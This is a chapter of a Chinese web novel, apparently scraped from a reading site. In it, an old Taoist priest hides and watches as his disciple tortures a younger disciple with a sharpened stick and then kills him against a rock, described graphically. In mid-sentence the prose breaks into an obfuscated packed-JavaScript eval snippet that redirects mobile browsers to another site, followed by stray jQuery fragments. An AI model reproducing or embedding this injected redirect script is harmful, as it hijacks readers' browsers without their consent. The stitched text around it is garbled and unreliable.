20. 金针菇

作品:《我只是您妹妹.

    另一头,无为道长打了个呵欠,刚关上房门坐在躺椅上,眯了没多会儿,有人来敲门了。


    “咣——咣——”


    人来了。


    无为道长连忙打开房门,一道矮他一个脑袋的人影钻了进来。


    “师父。”夜间温度太低,老四一张嘴吐出一口白气。


    无为道长朝屋外瞧了一眼,见没有人,忙慌慌张张、鬼鬼祟祟地从内锁上房门。


    “好好,来得正好。上半夜人多眼杂,不好让你下山,现在没人了,正好赶路,免得夜长梦多!”


    说着,无为道长从身后的柜子里翻了半天,翻出来一沓钞票。


    “你拿着,路上用。”


    老四心道,现在大家都用手机支付了,谁还用钞票……


    又看着无为道长沟壑纵横的老脸,笨拙的动作,蹒跚的脚步。唉,算了,何必难为一个老年人……


    老四恭敬接过那一沓钞票,捏了捏,果然很薄,正要开口,无为道长率先张了嘴。


    “我算了算,你省着点花,一路上应该是够用的。”


    老四张开到一半的嘴又合上,咬了咬嘴唇,“……够、够用了。那没什么事的话,师父,我现在就出发了?”


    无为道长抚掌一笑,“好!徒儿一路小心,师父就在这里静候你佳音了!”


    老四走后,无为道长一边脱身上洗得发白的厚袍子,一边抱怨,“等哪天有钱了,看我不把你扔了!”


    他掀开被子,正要躺下,想到什么,慌忙从床沿翻腾起来。


    “糟了糟了,忘记给他了!”


    他穿上脏得看不出颜色的棉布鞋,两个脚后跟露在外面,小跑几步到柜子面前,又一阵翻箱倒柜,翻出来一张泛黄的纸。


    哆嗦着指尖摊开,细细的笔尖勾勒出一个罗盘的模样:从内向外一共四圈,前三圈依次为八卦图、十二时辰、五行,最后一圈……则是一条巨蟒一样的东西,似龙非龙,似蛇非蛇,盘桓在一通天柱上,口含一轮残月。


    无为道长将纸张折好,披上他看不上的那件厚袍子,自言自语:“还是给老四,小七那小子花样多,免得他弄个假的糊弄!”


    掏出他用了很多年的诺基亚手机,黑色的屏幕映照出无为道长无语的脸,他撇了撇嘴,将手机扔在被子里。


    说动就动,提上后脚跟的鞋帮,麻溜地关上房门,踮起脚尖,侧着身体,沿着道观左侧方一条不常走的路往山下走。


    那是一条小路,陡峭,狭窄,很多年前是通往道观的主要途径。自从本地一家商会捐钱给挨着的观音庙后,道观沾了人家的光,也从道观右侧开辟了条主路,故而左侧的小路渐渐没人走了。


    小路不常有人走,杂草茂盛,纵横两边,无为道长看不上的旧袍子帮了他很大的忙,要不是有它挡着,身上早就被露水打湿了个干净。


    刚匆匆忙忙踏上小路没多久,前面忽然传来一阵响动,无为道长心中大喜:看来我这四徒弟还没走出去多远!不过……这孩子也太慢了。


    “徒——”


    “说!你哥哥带着东西去哪儿了?”老四一声怒喝,声音回荡在山谷里,透出渗人的冰冷。


    另一道声音尖细刺耳,听着十分微弱疲惫,“我、我不知道。”


    公鸭嗓,小孩音……这声音,不是小七嘛?


    才几个小时就找到了人,他这徒弟真有本事!无为道长心中更喜,脚步一抬,正要往前走。


    “啪!”一记耳光扇在脸上,发出清脆突兀的声响,远远地飘荡在山谷里,惊得无为道长忙停住脚步。


    “啪!”又是一记耳光,接着一声压抑了的呵斥。


    “不说是吧?那你就待在这儿。天气预报说这两天都下雨,暴雨,你脑袋撞破,流了一身血,一时半会儿没死,但也不用太担心,山上本来就温度低,再加上下雨,到时候你身上湿透了,失了温,我看你还能撑多久……”


    “不要!不要!四师兄,你救救我,求你救救我——”


    “现在知道喊四师兄了?早的时候干什么去了?”


    小七冷到嘴唇直哆嗦,嗓音也发抖,“四师兄,我知道错了,求你救救我!只要你愿意救我,我就告诉你,我哥带着罗盘去了哪儿!”


    老四居高临下,闻言,弯下腰蹲在他面前,忽然转了态度,温柔哄他道:“乖,小七,别跟我讲条件,你掂量掂量你现在的状态,到底有没有跟我讲条件的本事!”


    “算了,我们师兄弟一场,这样好了,你先告诉我你哥在哪儿,我就救你。”


    小七斜靠在石头上,重重地喘着粗气,并不答话。


    老四凑到小七面前,看着他满脑袋的血,还有头顶血糊糊一片的伤口,继续引诱。


    “你哥也是个狠人,为了独吞一个不知道价值多少的东西,竟然把自己亲弟弟推到石头上,他难道就不怕你死了?”


    小七的喘气声更重了,仍然紧闭嘴巴不说。


    老四心中渐渐没了耐心,接着刺激他道:“也是,他一个游手好闲的瘾君子,狠心到把自己弟弟扔在道观门口不管不顾。那时候你才几岁啊,都不怕你冻死了,难道现在还会怕?估计……你死了他才更高兴吧,只可惜,你还傻傻地那他当哥哥……”


    小七被他刺中痛处,恍惚无神的眼睛忽然大大张开,狠狠瞪了老四一眼。


    “呵!这才是你嘛,刚才跟我装什么样子!”老四彻底没了耐心,他伸出手,要往小七的伤口上摸。


    刚伸到一半,突然撤回来,翻转手掌,喃喃自语;“我的手干净得很,可不能被你弄脏了……”


    说完,他折断旁边的一根枝条,端详着尖利的断口,然后在小七惊惧不定的目光中,狠狠扎在他血糊糊的创口里。


    “啊——”惨叫声凄厉骇人,震得后方的无为道长头皮发麻,他嘴唇不住哆嗦,揪着泛白的厚袍子,一动不敢动。


    这是他四徒弟没错,但是、但是他怎么成这样了……


    无为道长正浑身颤抖,说不出话,前方他的四徒弟再次出声。


    “我真拿你当亲弟弟看的,和你那个瘾君子哥哥可不一样,你要是告诉我了,我马上带你下山治疗,到时候你能恢复,我也能顺利完成师父交给我的任务,对咱们两个不都——”


    “我说!我说!”小七看着老四手中再次靠近的断枝,头顶的锐痛突然立刻放大,连带着他四肢百骸都在颤抖。


    “早点说不就好了,遭这么多的罪,师兄我也心疼啊。”


    老四忙凑近脑袋,小七破碎的呼吸声扑在他脸上,温温热热,泛着股浓重的血腥气。


    “四师兄,你再过来点。”小七左手无力地抬起,向老四示意,老四不疑,再往前挪动两步。


    “我哥哥带着罗盘在……在……”


    “在哪儿?”


    “在……啊——”


    老四攥住小七的手腕,瘦得只包


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035111|193818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一层皮肉的手掌中,正握着一块半个脑袋大小的石头。


    “哼,跟我耍花样!”老四一把夺过石头,随手扔在小七的肚子上,砸得后者闷哼一声。


    “既然这样,那你就在山里面歇着,我的事,我自己想办法。”


    老四突然顿住,摸了摸下巴。


    “不对,找罗盘也不是我的事儿,是师父让我找的,那就是他的事儿。找不着,他着急,对我没多大妨碍。只是你嘛,就不知道你能不能撑到有人从这儿路过了……”


    无为道长听见提到了他,顿时一个机灵,看到他四徒弟握在手里沾了血的半截枯枝,害怕得又缩了回去,恨不得埋在腐殖土中当一个蘑菇。


    说完,老四作势起身要走,小七终于上了当。


    “别、别走!我说!我舅舅在市里面有套老房子,常年没人住,在支西路22号,聚业小区7栋21-29,我哥大概率就在那里!”


    小七几乎用尽所有的力气,从枯枝烂叶里爬起来,拽住老四的双腿,“四师兄,我都告诉你了,现在……可以带我去医院了吧……”


    “可以呀,当然可以,我说到做到。”


    老四转回身,高高在上地看着小七,向他伸出一只手。


    小七忙哆嗦着要握上去,那手却突然一转,绕过小七求救的手,只往他脑袋的反向去。


    小七只感到眼前的月光忽的淡了,然后身体猛地往后仰,后脑勺随即撞上身后的石头,紧接着是好像永远不会停止的痛楚。


    “咣——咣——咣——”


    颅骨和石头磕碰的声音盖过小七虚弱的求救声,也砸在无为道长的心里,他只觉得脑袋好像被人掏空了,连混沌也没了,时间……好像也跟着停止。


    终于,小七眼前忽暗忽明的月色彻底消失,他眼前一片漆黑,无边无际。


    时间重新开始。


    月光下,老四抬起掌心望了望,手心里沾满了一个十几岁少年的血液,他举到鼻子底下嗅了嗅。


    “操,人坏就算了,连血都是臭的!”老四再看了一眼小七,他仰躺在石头上,两只驴眼一样瞪大的眼睛不甘地从满脸的鲜血中凸出来,脑袋十指像握住生机一样攥着一堆烂树叶。


    再如何不甘,再怎么想活命,却还是死掉了。


    “啧啧啧……”


    老四伸脚将小七肚子上的石头踢开,一脚踩到他两腿中间,重重地来回碾压,而后突然长舒一口气,像攒在心头的火气散了一般。


    “你说你,总爱多嘴,有的话是不可以说出去的。”


    老四踩在小七的肚子上,用他的衣裳来回擦拭沾在脚底的污泥和枯叶,最后站定在小七面前,嗤笑一声。


    “你告诉他们我是金针菇,除了惹他们笑话我,对你……又有什么好处?”


    一分钟之后,老四懒得再看一眼他的小师弟,哼着小调,风平浪静地往山下走,只留下后方的无为道长在阴影中大汗淋漓。


    寒冷的山风吹拂而过,冻得无为道长一个冷颤,他生出一种错觉,只觉得刚才他四徒弟的那一通碾压尽数压在了他两腿之间,下面甚至开始隐隐作痛。


    嘴皮子不听话地抖动,好像连上面的死皮也要抖落下来。攀着树枝的手极为用力,到了这会儿,手指已经半掐入树皮当中。


    无为道长还没反应过来,胯间突然一阵温热,没多会儿又变成刺骨的冷,他看着两腿之间,又惧又羞地闭上了双眼。